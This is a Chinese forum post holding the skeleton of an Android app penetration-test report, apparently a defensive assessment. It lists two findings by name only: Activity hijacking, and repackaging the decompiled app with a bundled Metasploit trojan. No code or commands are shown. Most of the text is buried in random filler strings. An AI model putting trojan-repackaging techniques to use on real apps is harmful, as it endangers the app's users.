找回密码
 立即注册
查看: 5580|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
6 S5 R/ ?, L( c2 z/ d- Y) z8 {% ^1 E7 b7 ~3 n0 q

. y2 q& O9 _( N. n5 A8 I) x M R3 O! Q W- k: t/ D; q5 H
/ V3 k* p5 X5 }/ d0 y7 Y. H6 I7 H$ |8 q2 [1 H; Z9 t6 W

+ O1 B; w3 X% k8 [0 n3 i. f 7 R: F+ S' \$ G$ q, Z7 |7 }6 }
a; g6 @( U/ ^% r# F % \2 O ~! |. J; M0 f) ~/ }( W

% N& }7 s5 d1 x/ P' C& |5 @2 x" W9 M8 p; X) |8 e8 i; j 文档编号:                2 }" _2 ?# Q$ H# B * C6 G0 @3 X! [/ g v4 N9 |

; V! F& i4 n' P( b) x/ q8 _& ?3 v ; z2 y2 N! q# k. A2 x" [8 _, [5 j

2 Y2 B6 J0 s, ~3 c# G: |0 r9 b! A R( ^% [6 J   9 o, j) G5 y; R! `7 F! | . {+ H& L1 T' r- ^' b4 k/ w

0 O F1 a; ?' z7 ?# x0 O. I4 h ! r8 a, J! |8 r) W/ ^

3 |6 i+ w* ?# n. O! m/ y( ~/ R . B+ Z6 w" C" v! y3 ?. b   % k4 c: d" B: v' Z7 W* |# X& @* B& U9 L6 e7 f* A$ W% L9 ~

1 i: U; F- u% T) X6 q! ^5 O+ o' b1 M( Q, U, \

" t& M0 `; `9 g) ~2 F! n8 q( N4 P d% ^9 f* u   7 B7 C/ ]4 f4 l 2 `/ o- m0 u! Q* O% u

7 l) z4 T# Z4 ]$ f0 |: s : h& b | i! o2 n$ b; G5 I

! F& {; f( h* Z2 _3 Z7 i 6 @5 E7 O# u s7 a5 e3 h! O* r   * M* p) u+ C; b. }$ o# B. I ( V! l1 O( \1 U8 N* L0 z- T4 |0 R

/ r: j2 b) _: c) G$ m* b; K4 n0 r . F7 Q4 t0 | e5 S# ~; Q

2 \( H# q; x" {( V5 Q " x* J8 X+ |& z   ; W6 s) l% d/ i2 Y, I$ G1 Y4 O7 M( V. Z: ^# T2 ?7 z+ v; p) @

3 d$ ^# x }/ u7 y* | 0 H+ L; V6 d6 A; p2 _

+ S( @: O g# r$ ^6 g, t0 e3 a8 a , f7 V* d8 h% y 某某某APP渗透测试 1 z0 Z6 G! a2 [! n . W0 h* M2 L! A

# l+ h4 i" a' C3 i6 k7 w) b 7 H9 `' P# X! w8 T. H2 u6 }

7 [! R" k3 A) B) T. ~1 r 4 y4 V- g+ i6 w- m   0 m! c: w. p# G* }. W; h4 c : f5 W' ^. v9 W5 v# u' s; j

, V6 M* ?1 k0 r) C" K1 D2 o" R $ w6 _9 o: V: R. o; A! e1 e! e

' Q- R/ m Q. Z9 u" ~( D ; b+ t- Y! l! Y   - X' A# L* B$ E6 e$ b2 `) {) H" D! ?- k+ }

. C: P* E" j; g% D7 [8 F 0 T+ R* S4 l6 f! {% ^4 m

7 y2 E. G0 O" w# @4 { : d# ]4 [$ R( \3 `% F. z) C   2 w2 Z/ c' z- d0 t* t z! r9 ]# r4 U0 I1 Q5 R! Z( c

4 W& c* n) ?' j0 Q+ m2 i1 ]0 Z! g' u7 K% m' N

5 i- i4 I' q2 n, ~# r 3 S5 f( ]" t# Z. a) s k, x   9 r0 T# `0 C3 c. @5 Y8 L& _ 6 }6 T/ u7 |5 i5 Z4 ]

8 ^% F: u7 W d& m& Y" _! ^ ( f& h4 w0 N$ o/ x" N

u1 F' k, p$ w6 W% b 3 X. M; I/ }$ S5 T& b 技 术 报 告 : Q0 h( [* U& V2 ~0 G ( t6 K; k4 [3 Q9 _% F

; K) m$ e {/ R* B# k4 [- K0 l3 I/ F5 V% z- ?" }; s

; X" [3 M2 q5 Z# X9 O& O! H. `6 [ 4 A* z/ i) P* I3 H' D9 O   8 E4 G3 H& A5 _) G ; P$ _( W6 x) x F

3 |- i4 z8 H: S& N C. V8 t% ] $ d& P0 \7 \ n2 U: r3 ?

7 L% A: v5 Y' n- b8 b! K * h: _. G" Y) C7 z/ n: K   + ?: a7 f# T' A1 L* c q ! o1 M" q: ~( W! P; ~2 g

! ?: a: X, K3 i & y: R6 _/ ?5 P: f6 c2 |2 c

1 Q3 m! F d+ v3 s * s6 f6 z* S& I   $ q2 ?& E1 s! L% ~' f( R 1 @7 p: {( y/ S& ]

# m! {5 }$ j2 t7 d) n 9 ]# y! U v" c! {/ W% U

" f! y G. j. L; G; F1 B ) P0 F( [, j9 |7 w" K   2 a9 I! M" v8 U 2 V2 G) t# o% l$ o5 N

3 E! F/ X6 P$ r2 u+ ]; k + K D+ F# n3 I! y& S+ B

# z4 R: x k0 E9 |0 Q# B : O; l4 f) r+ |# L* \+ D9 R   , i( {( A! S" n& @1 B 4 ?# k( x* p1 z7 l' x) c9 H

1 }7 F. H2 v$ I. P' f6 P% f& s $ x) t" P' f0 H, X' ?

# ?/ r1 C; j v/ @ * k3 F5 m; J, |0 N- ?! s H! H   8 R) X$ ^" b! L4 ]$ G1 s* B! @! S - M6 T# U) M n" [* J

% C2 F) U. G7 [( c6 p2 W7 @5 L& Y3 K

; ~6 Z& j$ a* |( D ; I; ^ v) u1 {5 M2 y3 H   6 O! l$ K' v- D5 b+ G9 f! } , K2 f8 \8 R: d- D0 O+ ^

U( }9 ~' ?$ j/ T d6 K# L4 m& u- Y. w

( N- P1 @; V P. `" L: H2 e8 B/ r& e' c+ m   - t! |. e2 a& P3 U6 k * F% G' s7 ^/ |7 s

( V- a0 E$ M: H( I. Y( M. E0 c5 o/ c1 J, T

5 @# e7 Z) S. u S# d3 s8 I* n - x# R$ q# E2 Q7 f/ S   9 B7 m6 l5 B9 l! z( a6 M # g* b- `5 I' T/ V0 m

: J; @0 ~/ x& @; {- Z5 e7 U ' l3 W" B" ^. [! B) ~

6 m3 o! M; |4 ~7 m ! y; [- [" s# X. o. u% h$ ]   , C' _) h6 C4 h / C* w/ ` D. W1 f; m

3 {2 }# P5 C. j: x+ [. G 2 _, m5 I& ~* Q2 |

! F5 t" G7 p, ?4 S0 H % P" v/ p! O. C9 w5 P4 J7 m4 N   ( B& T8 c E% z; E7 l # O! L; U7 H$ j+ h$ V

7 T+ ?* Z( g! B K2 B+ m+ w4 T" `7 C5 z* ^# t3 c% ]

1 Y9 ^% \ U! h: g2 m; ^ 0 i- \. v. g4 p$ ^! T   " ], R8 @8 m l8 x4 M4 \. K% P% B6 X# u8 N$ a. j3 { M: C

( Z2 T& d) T, O8 R4 {1 \+ b ' Z. B% z5 m" A: u

. L! ? f# j; z9 T* }+ R$ E ! M6 R, y. ~% G# s   1 P* w. r: D7 d( O& t X2 G9 U: B8 |! w2 `; m5 ?- Z, r- u

' W1 f. h4 t# [( E$ Y: j# h& c( J& k3 H7 A& @% }" j8 N

- t" ^! I, X' V % c" Z. X# k9 q8 Y; \- y   . }1 V0 o) G0 d) j+ L* [: L, a# o# b' O2 m& t# `

, O5 @/ c& {2 l R1 N 4 t; `6 s- l# Q! U

* K# ^% k. C6 m 2 z2 Z$ X2 A: |   2 ^% d% `7 z; u; S/ W 2 y2 Q$ o* r- i# G

1 i/ n, ~; S5 s# l1 ] % e# W. @# {! S+ W2 c

+ M- @4 ]) s" U2 I0 q0 W9 U % n6 e6 R0 y% V. q3 c$ A7 ]   1 j9 U. @8 j4 o9 f D: m$ x# L6 B$ @0 M& r& v

8 \, ~4 H# Q4 S% Q% G1 e! @) j% Z% g( ~5 q; z5 C8 O7 y; O

( s2 P R1 p+ Z$ K6 o1 {! { 3 g+ o* \, I; V% d& s   - m# ?) R, R% v4 a2 | " j: g+ @. a5 ?& _9 s# W

2 l/ G) K7 G6 H4 }* }1 z + Q3 E+ g! V3 z3 Z

5 a9 k& T" ^4 p+ ~! c ; O" \ \, g' n' R3 x5 j   ( f( s; w' B7 X& x+ B * i" }' T K( T' q4 Z0 H# B

- K" R _7 L+ I* v 3 n+ q4 p3 Z L7 J \( B

* Y& \. O% L% `. e9 q & R4 W- n# o! k6 N4 h9 k 二〇二〇年 9 u/ O0 |" ?7 {9 V6 ~! X) g ) y: t4 W6 p% Q* }6 s2 y

% [( p3 S$ R' l- X% K [" W% s- r2 L1 t4 h9 O {( Z3 _) c* }
) F6 f0 v" ?1 ]0 w7 P3 p7 z 9 A" w+ s# v" f7 y' g+ u2 I
0 q4 U. m. u, P( T; z" ^ r. R# D) {& \; G, p
V. F. _8 G# ^2 K 0 o) s+ x R' n' f% ]. B+ w" d( b( Z
9 @, u4 p V+ @2 U. b E3 ?( c/ X5 ^ }" R& H5 i8 D, O
) c2 \; Q( a+ u6 K 3 e1 s. [/ P4 m( ^% F4 @
, C' l- \- h. x ` ) v& y) ^1 ]. P8 O
/ f1 y' l/ N. H8 P- ?) c8 |. L2 Z: c! M4 F
( P. _( k/ \2 a / _+ y3 D8 q2 ~: L

" g4 p' A8 a; n+ C9 B( f 4 O0 W, L# G7 C) I7 F9 v 目 录 # N6 M* T. k2 e5 @ V8 R / T! ^+ y, C" x: T, a* V3 f

3 T( i2 Z$ `7 l/ M8 R1 b 1 K* k, y+ m" `% g& V+ M! W 2 t) c1 b, N2 O: D: g5 Q5 t # e5 Z: ^, c" H; F4 U; ^: S! [* [% ^) X

6 ~! W9 k: r$ O4 M/ N 5 r0 ]/ M4 z% w% ?5 D- f, [: S   : `$ ?+ n$ h" Y/ f) O: ] y8 c! X* a; e0 X3 a7 J2 j* v

% p- C7 `1 O4 |- k. ]" P% B# n " h) a; ?: q, `+ b+ q+ J! U0 E

: p3 X, c& ~7 r! u3 D1 {+ {1 X 9 P% N* o) _( T/ d, y/ k 1 概述... 3 3 F" q+ c# h' c+ ^+ X8 Q : g& K4 a& ~( z3 B: C

5 R t" [5 {* ~! t# B/ V" ^ & f7 s4 }( a1 E3 N9 G

& n. d" ?" T, p 7 U- \. v+ `! A0 ~0 l4 [8 n, i 1.2测试时间... 3 ( Y2 l6 I6 v+ o, B9 X# | $ M7 \0 S' x+ y

z0 K0 n% |/ e , E% h% x; S+ E- P

2 h5 p5 ?- x8 J: g- T, k3 @6 ?! F$ |% R. n& C4 X. s9 O1 @2 F 1.3测试对象... 3 5 z) C$ Q# y3 T, J; {' m 5 ^: B6 W. j5 l

' C: @( ~ O, d' g" c0 C! V + V3 R3 U# O, f: N( o; _0 l* ~% N

7 D0 F2 Y a3 h; r' ^4 ^1 r; ?8 U2 f: c) k# K& y O- B0 S 1.4测试结果... 3 5 e `' M+ _+ V+ @# l! Z 2 e, S9 d" d0 j' U5 j# Y

1 Q( s9 M1 x5 z: m+ }4 W3 `3 ?* ~ 5 h* |7 @4 _2 U# i

+ P ]; P5 z' k" `7 A, _6 | , F: n; M9 x; `# z, ] 2 检测结果... 4 ) y; E; {3 M: V. b , p, y6 ?, ]2 _' Y

4 U7 l+ _2 L6 C( F 1 J3 |2 R2 q5 W8 [6 {/ i( P; R

2 Q; }7 }# G9 o. R' w7 Q, u e7 g% u/ b H( a1 w 2.1 某某某... 4 & L0 K; @0 c/ L. R, `: Y1 e: h# r/ h6 t1 H4 T

& l4 ?4 p; K" Q 9 B9 y; I# I' T2 f7 a2 I

7 o0 _% d$ Q" p - V; q5 c7 ^6 e) Z* H2 [) s 2.1.1检测目标... 4 ) E$ b G- h" ]2 J6 M( p, p " F5 v3 r2 y1 }1 O. ]8 |

7 F$ d# P5 v# t& A r4 |% q6 ^0 A 8 A+ s' k( z, h4 S' |2 ]" u

+ @7 [9 N+ G/ l. W p: U" e% y ( E' `' Z, M: t3 [ 2.1.2检测结果... 4 & Q, c9 S) f0 |& Y; f$ o5 o/ u; Z* ]4 h$ E; b

3 }" ~& V" Z! s2 R l# w9 `2 y' b) M

$ \2 F( ?3 h* M* O" G, n/ U6 U/ g ?0 D; p5 d8 S4 [6 L2 [5 q 2.1.2.1. 4 * i- q3 R$ Z' f. R: ]5 v0 W ! m7 C# q, j3 G- }8 {) D

0 }% x1 F3 v% K/ o: K/ |( M + \% a/ T$ r. e% C J: V- n

`1 O) i9 f( A4 [ # C" G6 p7 d2 o- T) l 2.1.2.2. 6 2 y2 ~- d( ^/ Z$ W9 q# q# @# q8 Y5 E ( ~1 h e2 N. r. K9 X0 L

; `, Y( y' v8 v u- E7 u' s 0 h @7 H: O4 U) W

! A/ V8 a0 `/ p* F) {! q 7 ^4 \5 g& E9 Z; a; Z1 u . X6 k- I& ^; } 0 m, c- V5 ]! O9 @3 z. x4 s) ]

; v, b2 @. e' Z: y7 o 0 f" w5 j6 P' N, h( n+ ^- N
2 S6 |. f0 M7 {: Z 9 _7 H$ ]! M6 x* b4 ?1 b
U' c1 J6 j9 F - i1 t1 M' l! P! H8 ]
6 _- n) ^" t. w& v! A! Y8 ^# s/ j7 r
3 [, C7 \$ }6 K: e1 ^1 P2 d+ Q9 K , |. T7 x9 f# |7 x; Q: b( R9 J

/ F/ P4 U; i K) P+ ~ o: B 3 m3 K" e2 K" q 1 概述 & J: `8 a8 f4 C ; |( ^( S" ? \) C6 F

6 E# q0 j& k% T8 B5 c! [$ b8 a" f. k 1 e7 }) f' g) Q1 _: H/ {/ N N* s1 O

8 d: q, D& N! p! H# J * J! \$ b6 k! e3 H 1.2测试时间 # x* @. d) {' u8 A: A, w+ o8 i $ L: Q1 f5 X5 n5 h9 y; R5 M

4 c) W8 [5 V. p- Z ; ]( K# S$ e! { 4 \; L& o$ D. c+ J+ s# v; n/ h# Z, l" `2 F2 u, [+ V- e6 r @) n. ~3 f2 S: [0 e8 a' c+ ^4 q$ j0 W. n- z6 `6 M; [; S' C/ w& |, K: T2 Z5 m8 T8 P; v: }# o' a. t& j; Y `7 y# U1 q+ D- Z& |1 W- h2 F0 m# q9 l0 \; R# W# d% X! F( f2 v$ h$ p: p0 O% x; E/ i+ i" n6 C6 O; ?8 B2 U- J4 \, j; h# |7 ?# G3 Y/ S0 d- @0 F9 T' ?% x- k6 v) c1 u9 }- M8 A1 M+ f4 O$ B! X0 A; v G) x% E/ R4 z% G. v) e. L; K! { ^- d s' }9 z1 f2 f) P" U" q1 i3 H: U3 ~6 |6 a. F1 J$ H: K2 |# F) ~/ L9 @9 l6 D7 [# j' g! a( l" T u% `6 m+ U+ [- ^6 ?& v& F. M! @1 ]9 c+ l7 h( m4 X! B {6 K+ w4 |: g+ ^+ {1 q6 B- H" G1 R" H+ J8 ]# y8 |, H0 i# e, I7 d! J0 Y* J( k2 q2 q" E1 Q. ^: M" ]( y( E4 L
`* k4 }/ T0 K5 D, V9 r( J 5 V/ N" l, T2 ^1 E0 _

5 @, H) X; v* |' x" J- {: K9 `; O) A7 l+ H4 a6 X 渗透测试时间 : F5 j) Q7 l6 w- ? $ h0 M% e2 W i; {

2 b3 Z; H6 K! \# }5 T0 ]% T ) d, o' }( H! j+ o; H0 B
0 N" d6 d# p' O' {% x( E! x% ^: b 8 z2 Z& v! z$ g) k% R- F

9 h3 N% [& q3 e8 J8 S$ j/ `! X3 ?+ J: ^; g8 e( T0 E; c 起始时间 ; N4 h2 W& m4 E6 ]5 T. E3 W 0 }! f/ H1 S) a) }! s# h

9 Y5 o: x+ W& y) v7 W Y( l& f0 N
3 H$ w3 [& _# e" b8 B * ]8 n. X5 A% Q" U0 F! r8 m

[: i) I$ Y; m( g$ f$ Q7 Y' A ( v! O0 H8 D1 m0 v 202046 0 H5 Y& j7 T5 m+ T9 |- {0 ^" |; H& r0 B/ M2 y

6 t* ^: T4 S! l c, n" c) T W& H6 M $ x1 Z1 s; v6 e: i
$ l" n4 P: b5 |7 c5 v. w4 @+ { 1 _- @ e O" L: a4 U4 h5 T

/ z) t) Y$ e+ b, g0 z9 K* I% Y2 Y }: c 结束时间 5 h' t: Y) G9 i* q/ s5 h) l( A ; Q' E7 k0 Q4 T S. @7 U3 W

0 Q3 V% E) J7 c7 S) e: v- y, A# U% _# i% p
& |$ \5 O" |. q, j+ |' X" o+ U ; Y' i& B7 ^- x. t! _

- ?% t2 e* L' l5 l7 H% o7 I$ P( o8 a# p( x* W0 n% d8 s5 m 202049 ; z3 H! X) f& p% a) a$ r) c$ L7 _4 {6 V$ l1 Q6 E3 B1 G( V8 f

2 ^& K. Q' R: d" H7 ^6 Z ?9 Z: }; d: r. R6 Y
2 w/ T3 m' H: Y& j6 R4 |+ \% L & ?. I s E& L" J

+ B& [$ B7 H: } X; o% }9 h+ G0 U* E+ C! ^' N& D1 n c 1.3测试对象 ) x: j" I/ E# }0 W% N& v" y8 r2 _, ?

6 u5 \: H/ W" I/ m5 a0 b7 u2 K7 p$ U' F

0 A+ r3 @& Z* e+ v. E/ q! \% h5 e1 w$ `- b8 Y! y 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ( d3 f. b+ \2 O2 F$ Q8 S) r U4 K ( Z" x4 v: ?: [7 g9 L* C9 C/ W# {9 m

* E% \9 _7 |/ X' ^: L+ R' ~4 G' U7 B( x: \0 P, e. L

/ D/ G6 c* ^+ ?' u1 F5 v* @' @: _- U; v+ r/ p 1-1 检测对象 - e* _: A1 M. \; S4 z' B# R( w* \+ c: u; T- o

: M: b( }& d; @( w. w2 X . b6 I4 f2 d9 E t; T# U9 o }! Q4 J( @. p( l9 A4 T3 T7 |0 r$ @( j) U/ K, Z1 \' \; q; N& z3 f( _4 ^+ g% M/ B( o7 {4 L) n3 k* y0 W. N! F }" c" y3 M2 r; |* {% a! C) Q4 R, L4 O7 |( x& @$ M! m: L# u6 D6 |2 @5 b8 P f) O: O. |1 b/ E2 T* y$ C: t8 A3 E u/ Y/ `# |$ v- y% D- n; W7 `4 Q$ N) W t# {. j2 h4 K$ P8 Q4 N% D$ N/ A" `4 o1 a2 T0 @- \: w' V: w% w: F8 g3 V5 H" h b, W3 v! e7 |+ W3 h' u- M' q0 T0 Y) E; a, _* Y! y% k: q& t8 E' D8 D5 M4 G: D. w# x0 p; @2 L& I5 z! V5 H% W* U) B t3 |" x! `9 z7 z# g9 [" K; N( q9 S6 G. V$ \6 C+ A5 U6 O0 o9 x8 I% f' y4 w9 l6 G. J, v! p9 t. }) P2 T2 M) l+ A# a+ a' w/ Z Z% \1 }3 X6 O$ B. {2 Z$ f% T4 G" Y* F2 {" a9 Y6 z8 |' q: [+ {3 K2 _: C. B7 [3 ~9 {# U5 t1 y: _$ H9 k- l4 }6 e3 y8 z. J" {: S
% e" F" f% H! D r ! Y/ Q+ b% F2 A

* O$ t; ?5 }4 w; }- w8 h. J4 ~0 E: e) V 序号 9 w2 }. k# j3 I; A9 } B( ^2 n; O' O1 H" X" \) ~

0 f d7 }/ k4 D ~( d* K $ x- |8 M( G) [; I. U( u6 n
: ?: M+ `$ ^& F) W $ Y4 Q& g" c# y1 W

+ \' l6 w) C) t6 \5 C/ G" c( n6 h% d ; n8 X3 U7 b9 `6 n 测试对象 ; q; `/ Q1 }) d( @ t- L$ _( ~, R! C1 h4 l2 e

% ]+ b! R5 l8 I: t+ n& S " @- d# l: O# q1 o) B- F
5 L5 Y; \$ v; k$ [& E! N3 ?: O% a/ @' f- V

2 I" G7 ` D: m" z8 b5 Y( T$ c " ^3 d. `. K J: W. U 测试地址 8 W' C2 n$ d, C, T* H/ } ! i& \0 \* c* r: M

& Y1 q7 K. B& ?' G R9 \* o3 Z' e 5 P T, R# V7 _( L
9 \( H( v, @' n( a# d( a, s5 @ ' x# r; o5 {- S* L7 w$ E

7 ~) n; G I+ _) O! e5 g$ D / }' P+ t& `9 k 安全漏洞 ' O" i6 d) z2 M2 R3 [3 @+ N 7 X! \+ o$ R! D7 T6 I

7 C0 p- |! ]/ o0 @ {2 p ! H4 J) g+ I0 f3 ?6 S4 C; F, f, M
0 ?$ ^/ q% p2 y J0 ?. N0 n 0 z4 @( ]8 p; U5 I4 Z; E

* F& @$ @- o( \/ H: s! ~0 G' Q , d' b, b. N& ]4 m0 U# E" q 1 . D/ J" M$ n q7 t 3 }7 v: M9 {* M

7 [" o7 _9 F; P" K8 ^ / V: i% ] w; I6 E. C+ o2 f) u
) i) Q" q6 f; G( j5 Z* w* q0 E " r# v" i, g7 y0 x& }3 {/ G

; {) K: i2 }! M4 f+ D# z 1 Q$ A) O( h o1 t9 J `: k$ v- U 某某某安卓APP - `5 l [ }+ T3 s' v. h, ]1 c% } ~- W6 ^+ w% ]: l# {+ J0 a& ~

6 r$ q$ j- U; Y) W " O# `, Z" G ^! I; T
% t) n2 l, T+ s+ z- H 3 w# F0 J7 h' v" l; {

8 f) C3 @& r8 m1 T5 ?% }# @1 z , q' c" L& v7 v5 K$ J   2 `- T, d/ k: E5 e8 H $ k- t% M/ J4 D' Y

8 S' h; m: _' b: \9 y" n* l- \ 3 D8 X; `3 E( n) f
+ G0 p" C9 n4 g 8 T5 P- ]4 ]5 T3 s; A/ X; ^* J' n

" D$ w3 c7 r K- c/ r ) x* g- |# `* M$ {1 m& i 2 5 M0 O8 a h- _; j! _ S( z8 D) g x- T

: ~% y1 W9 ]3 x+ }- m( o. @6 D / |4 \9 w" U( `
5 J, Y' g/ M( y O- C0 d4 S + f5 R: M( H# I a& ]9 S

- d: ]6 v# H+ n& P2 W4 v% I ) H4 h8 x" f; z) Q 1.4测试结果 ! X- O8 c9 p: f6 B. J6 E ^6 M. U % i/ E$ u) _8 |

+ z2 A8 u3 l. N0 \. f 5 J+ T! A0 x, s! s4 u! r; U

7 ~# r: n2 v- \8 x- ~/ M 8 d% \. h$ k4 w5 D; G" [ 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: / A2 M3 L# y4 J" K% ?& i9 i! q; v1 Q! f/ r" U8 Z: x8 H4 j

0 z$ E1 [( [- ^! }* n 1 g4 w$ \6 w4 {4 }3 B

$ g. F4 W, f% V 8 _, s* B1 O. K: C6 ~4 @2 M& ]' I( @   - y; H& \; f% u, _8 S. a( w' [" p& i9 \

3 s. h6 X$ C# U- c; I7 U& z 8 }; a# }0 U* u3 R5 a/ a
* ~2 H* }6 X7 T( x) J6 S; W9 S- N+ P9 x / |6 |# E8 F$ }) c* K, ]+ e1 ]/ P8 |$ y$ p! y& t: ~0 K5 C; e) z: k. j5 j' d8 N! ?7 g8 n) M3 X6 F, l6 y3 J2 J' P8 J! ~, U( Q7 }, O N) l! x7 Q3 O) X$ [! {$ ?5 ]) @; I8 o* @$ F3 ]8 J9 k7 }2 z: E% k3 u( }# n5 q" s4 U4 F1 b) V5 p' d, m- f% g" K* I) H% H- N, `; o0 }6 t+ Y8 _- q1 _" l8 Q% Z$ a! |* A/ z( y- m% ?4 o/ ?# Q* U6 L8 w# C. |1 M; Q) ?" _8 `9 ?/ s6 Q7 W) m% o5 l, g: B7 a) t7 h/ I; o$ D' _- p6 b+ `# [6 ] V* Z# d9 z: G) R& {- U! i& Y, H. o3 [$ S9 W( F+ j1 K; ]$ s0 O6 l/ K2 q+ E0 Q$ b& X' i* `1 o- \' r0 b$ \3 q6 n9 o+ L/ Z) x( {, [' t6 j: t9 Y# H4 a/ @) n' y/ \( w$ O# ~4 n+ T& N: g$ y* a0 I; [9 r W1 X" s t0 G: ]4 V- T: @$ G8 }! t1 i$ e6 k" l3 \2 S% M- i2 V3 x V0 \+ Z# g5 P: ]5 ^" ]6 c: r0 V/ ?5 i9 |; H. f9 a3 v% q# b$ w5 r7 ?& i; S; @1 q2 B+ n9 u; I* i$ u# M% A$ J8 ]! A. T; F! A) [( U# \, ]% t2 _6 @# f* ]& L; p8 |2 I1 n5 y0 a* i& n9 B% _* Q7 {6 H1 D: I' a. `5 \' p. J/ S1 L5 z" x# o9 b$ S1 T1 v8 p/ ?/ Z. B; u8 t$ ^/ B5 y# S7 s; ~2 D) U9 U* m5 G( [: B. k3 q, L) f6 z; e' n* c1 P( U+ {1 ]* w3 ~5 a# W$ Y' G5 P- b( ~! k5 A4 Z, P; a/ ^- [3 H* p* z9 Y1 {% z5 p$ l% P& x8 F( K8 q: H1 g: o4 g- I- k/ @ G: g/ u7 C2 P* } h- B" B
4 _1 V$ ~7 }- } 6 g; n. R5 g' F4 ~) L K- _( @, \

% {$ s0 d: b4 |! z : n. ^% D4 i C W* [$ Z ^; N! q 序号 + V1 O' l, Z! D% H5 s! a5 k . D8 {! R" u' x+ O

; U! v9 o, B: `" @) U ) W' n) S$ N) Z8 r0 ~( l
' m) v2 Z- Q5 o" I 5 x8 Z4 P; V& l) F9 w( H

3 O; P& }: B: k+ d6 |1 R4 f - h D% v' a# B( U( s 系统名称 - L: P: a& e: B! a" J' b, T 1 ~4 ]/ v" D8 i9 S2 Q- T" |0 h

: \, b: S' D6 ^ a& Q9 J4 @5 S- P! C1 b7 y
& b7 l9 w, Q4 k9 N% r1 ` - F4 _4 J5 h$ K* }+ ~

6 _7 |/ V2 R n - r! K/ J9 d# ?7 y, | 漏洞名称 ' i! p! R8 m ?* i7 O O' W' M* q; A8 k' p

8 u: x& c; y' x! t( k9 _! b % @7 i8 h! d3 u/ n! |
- d6 W. X ~7 A" W2 ^( O 1 A" g. q1 ^" W( `) X

' x4 K7 |, l& m/ U7 h2 p: C, M' e6 {/ x ; J4 V. I8 i) n: w! n7 j 漏洞危害 3 l6 `% p! `- f / j# ^3 J5 e) A9 C

& S: N2 i& W& G: Z1 d- h# u 4 l% f* {" H( U4 [9 Y2 T/ G; H
: W5 q; N/ V! J3 i( F9 { 5 o4 U6 d3 _; Y. g

! q2 e% a. Y- x5 N8 E6 w+ e, Q+ m * O2 M$ E( L' Y v, A 修复结果 5 Y# j& S& p9 ~5 h5 B% { N! z0 k1 b% X' A: l! i

3 L" C0 J1 w; }' {8 ~' _ 9 A# r3 P, G! Q( X$ H$ a8 t' d
& Y# {7 A f- _3 K ' W, M6 I) [, O& G2 b y

3 A3 K% ?+ d; k2 f( R1 e & d1 _2 Q+ J+ J* |! } 1 8 G' _4 n; B7 h( _0 Q' i+ Y, L0 l3 K& [! y$ D i f, j, I

% e) N9 s- r, F- j& x - T5 w2 c! e8 R* _' Y' H# M. s
: n# [5 k7 \4 x+ _2 U7 ^" k z( s" T 6 H; E% v: s( x9 t f+ }

- U0 ~4 _! b2 g' F9 E3 J 7 z4 ~0 o! d7 Y; N; G- E 某某某某某某APP 9 m9 n# g9 _" L1 [% s9 f2 a# R/ s) z, S6 D1 D

. L# h6 ~" @# ]- J1 M4 O+ ]4 F; d3 J% H$ L' o2 Z& l
5 \- n! ]( Z* F- {; e1 f' G 0 X4 |( {! a0 a" {/ t+ d

4 b. F2 j/ Z7 M8 i& Y% D3 f8 v# g 9 A; _, a9 E- \. \8 Z% q Activity 劫持 ' {0 b) y. @9 Z2 W- Z. [" L, H' ^9 Z 0 @) j8 M' d0 F4 c

- P6 x' o: v8 g7 `& L4 U 3 n" S& J: k* [, [0 \

# E k! D4 P0 ?8 b3 F7 Z ! q% A3 ?1 A9 i% R! @   / [; i \9 m9 u5 q. o 0 Y% i+ P' q/ }% J3 _

* h" b& `' V* r. Y0 V! P# x. _9 J# [; H8 s% U
! N# k, ^9 s, |9 t/ m1 j & A8 M0 }, R+ j, J! U

+ R) |; X/ _% I( T- l1 Z9 x: v o , u% Y) V n7 g" X4 w, } - M( n) z) _0 `* N; c& n3 } ' S; O) y! I l* q

& `6 v# y/ f! @0 ]7 `& ^7 f0 B2 c$ J5 ?! |' I" Y* d
1 Y9 v, _% F U: H1 \ / a* J/ K2 Q$ T; q

% e; A4 c0 f, S) G3 J5 `% c( [" n% d; ]0 y. T( C% C4 }& q   ; M4 i0 v6 F- z4 y7 J( c& S 6 a6 _0 F7 g$ `6 D+ }- u3 o9 [ b

* x- x, W0 C, b% h6 `4 w4 l! F0 z( [ ( u5 n, N( R8 x R# }' i
/ R* |5 n3 z% \# t - S4 F) t" e/ m* y3 K. w( f8 }7 T# ]

: |- ?% ^$ K" h9 e6 d1 s9 x1 C. q" p2 v 2 ) c( m5 @ ~. k$ B' o 1 \) m0 y) o3 [

* c$ l* v) d) L- U# @9 j+ h$ \ 3 n9 v, _! h; S0 s3 e5 H; o7 w! ]2 w
. |. G( g+ T: x c+ N* P6 n . `. ~* @9 ^# H, h( r+ m6 I

: m) ^" U" D6 O+ H/ z7 z # ]: |+ b8 h; C1 b3 C$ k6 e 某某某某某某APP " v! }* Y) _* m) _* M 5 v7 E3 o6 V5 t: r2 Z: X. `7 g

/ E& V. J. b4 }% n + O$ C0 s* j# F% p5 P8 D
% X( E2 K% N7 A: q+ P ; T& E: X+ e( N/ w$ G6 i

2 M1 V! R" y; r, m# |7 J& x. h Z, w, v( @3 F1 ^# M0 u1 b2 Y! [ 反编译二次打包捆绑木马、篡改APP代码 2 z! m, {3 X4 R ~$ _( f - {; Z# n' D/ h; _/ F/ p" }% ]

* r# g6 X8 S2 N0 U& a : s2 U) d! q2 L- q8 D6 M
$ G. h. f: i. z9 ~. R" y9 m9 N ; t5 P5 V& g' g5 v

, D- R% S8 O3 q- y: t 2 u, {$ k- p9 v, f: y0 c1 j ' R! w. e3 {( g" Z+ J $ `- B- [1 j$ X" O4 {- j) X6 f

8 o# X4 P' b& ] 6 i. @4 u `9 K0 |) x" y
! e, }. b! Z$ F1 n & n+ E8 s" H3 g: Z1 x& ^2 _/ b

, Z+ X9 A6 O$ h* M0 K m& l' w- q# ~) C9 P5 y* V7 F7 p0 p   8 U S8 Y8 \ p, a2 s 2 H( |# T; X% g ^% v9 d" e+ k

! t# k6 W3 M u! B+ i4 w" ?: t G: Y8 {5 _% Q
1 M0 H* e( ^+ q* J5 `. f- n1 s$ `, v( H9 S5 a& U
* h; \0 ?* p& ^" ?& B3 a0 A2 k% H8 u : R* z& v, E! i; Z& B" a

